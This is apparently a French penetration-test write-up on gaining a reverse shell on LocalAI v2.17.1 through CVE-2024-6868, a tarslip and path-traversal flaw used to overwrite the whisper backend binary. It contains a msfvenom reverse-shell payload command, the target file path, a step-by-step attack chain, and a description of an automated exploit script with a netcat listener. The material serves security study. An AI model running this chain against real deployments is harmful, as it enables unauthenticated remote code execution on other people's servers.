Dans ce writeup, nous détaillons les étapes pour obtenir un reverse shell sur LocalAI, la très célèbre alternative open-source à OpenAI.
LocalAI est un moteur d'IA auto-hébergé utilisé pour exécuter localement des modèles et générer du texte, de l'audio, des images et plus encore. Nous allons exploiter l'une de ses fonctionnalités qui permet à l'utilisateur d'uploader des fichiers additionnels que le modèle pourra utiliser.
Walkthrough de la machine
On commence par énumérer la machine avec un simple scan de ports.


Service HTTP sur le port 8080.
On visite le site.

La première chose qui saute aux yeux, c'est la version de LocalAI visible en bas de page, v2.17.1. Une recherche rapide pour vérifier si une vulnérabilité publique existe.

CVE-2024-6868 : la configuration du modèle LocalAI permet aux utilisateurs de spécifier des fichiers additionnels qui seront utilisés par le modèle. Si l'utilisateur envoie des archives, elles sont automatiquement extraites après leur téléchargement. Cela ouvre la porte à une attaque « tarslip » — écriture de fichiers dans des emplacements arbitraires, en contournant les contrôles qui auraient normalement maintenu tout le contenu dans le dossier des modèles.
Nous pouvons donc écrire n'importe quel fichier sur le serveur, à condition qu'il n'existe pas déjà. C'est déjà une vulnérabilité en soi, mais pour obtenir l'exécution de code il faut trouver un fichier que le service exécute, le supprimer, puis le remplacer par notre payload.
LocalAI copie les assets de backend dans /tmp/localai/backend_data/backend-assets. Ces fichiers sont accessibles en écriture par le serveur et exécutés au moment du chargement d'un modèle.

Écraser l'un de ces fichiers puis charger un modèle qui utilise le backend correspondant aboutit à une RCE simple.
Je recommande la lecture du rapport complet d'Ozelis, qui est à l'origine de la découverte : https://huntr.com/bounties/f91fb287-412e-4c89-87df-9e4b6e609647.
Exploitation manuelle
L'attaque se déroule en deux temps. D'abord on utilise une vulnérabilité de path traversal pour supprimer le binaire backend existant. Ensuite on utilise un tarslip en deux étapes pour déposer notre ELF malveillant à sa place.
Étape 1 — Créer un payload reverse shell
On génère un binaire ELF de reverse shell avec msfvenom et on le rend exécutable.

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 -f elf -o pwn
chmod +x pwn
Étape 2 — Écraser le binaire backend whisper
On exécute le PoC tarslip pour supprimer le binaire whisper existant et le remplacer par notre payload.

Étape 3 — Télécharger un fichier .ogg d'exemple
Le modèle whisper a besoin d'un fichier audio à traiter. On télécharge un échantillon .ogg minimal pour déclencher le chargement du modèle.

Étape 4 — Uploader le modèle et injecter le backend malveillant
On installe le modèle whisper via /models/apply et on uploade notre binaire backend empoisonné à travers la chaîne tarslip.

Étape 5 — Démarrer le listener
Sur notre machine attaquante, on lance un listener netcat pour capter le shell entrant.

Étape 6 — Charger le modèle whisper
On envoie une requête de transcription à LocalAI. Cela déclenche le chargement du backend whisper — qui est maintenant notre ELF malveillant — et le reverse shell s'exécute.

pwned :>

Automatisation
Plutôt que d'exécuter chaque étape manuellement, nous avons automatisé la chaîne d'attaque complète avec un Makefile et un script exploit.py dédié.
Structure du projet
exploitation/LocalAI_v2.17.1/
├── exploit.py # Automatisation complète de l'attaque (chaîne 5 étapes)
├── Makefile # Raccourcis pour listener, attaque et vérification des dépendances
└── README.md # Ce writeup
Fonctionnement
Le script exploit.py automatise l'attaque complète en 5 étapes :
- Génération du payload ELF via
msfvenom linux/x64/shell_reverse_tcp - Tarslip — suppression puis écrasement du binaire backend whisper à
/tmp/localai/backend_data/backend-assets/grpc/whisper - Génération d'un fichier audio
.oggminimal en local (sans dépendance réseau) - Installation du modèle whisper via
/models/applyet attente de sa disponibilité - Déclenchement d'une transcription → LocalAI charge le binaire whisper malveillant → la RCE s'exécute
Utilisation
Terminal 1 — Démarrer le listener :
make listen
Terminal 2 — Vérifier les dépendances puis lancer l'attaque :
make check
make attack LISTENER_IP=<votre-ip>
Lancer le listener

Exécuter l'exploit

Récupérer le shell

Conclusion
Ce test d'intrusion démontre comment un attaquant peut tirer parti de la gestion non sécurisée des archives uploadées dans LocalAI pour écraser des binaires backend et obtenir une Remote Code Execution. La combinaison d'une vulnérabilité de path traversal et de l'extraction automatique des archives tar — sans validation des liens symboliques ni des destinations de fichiers — en fait une RCE non authentifiée puissante contre tout déploiement LocalAI exposé à Internet.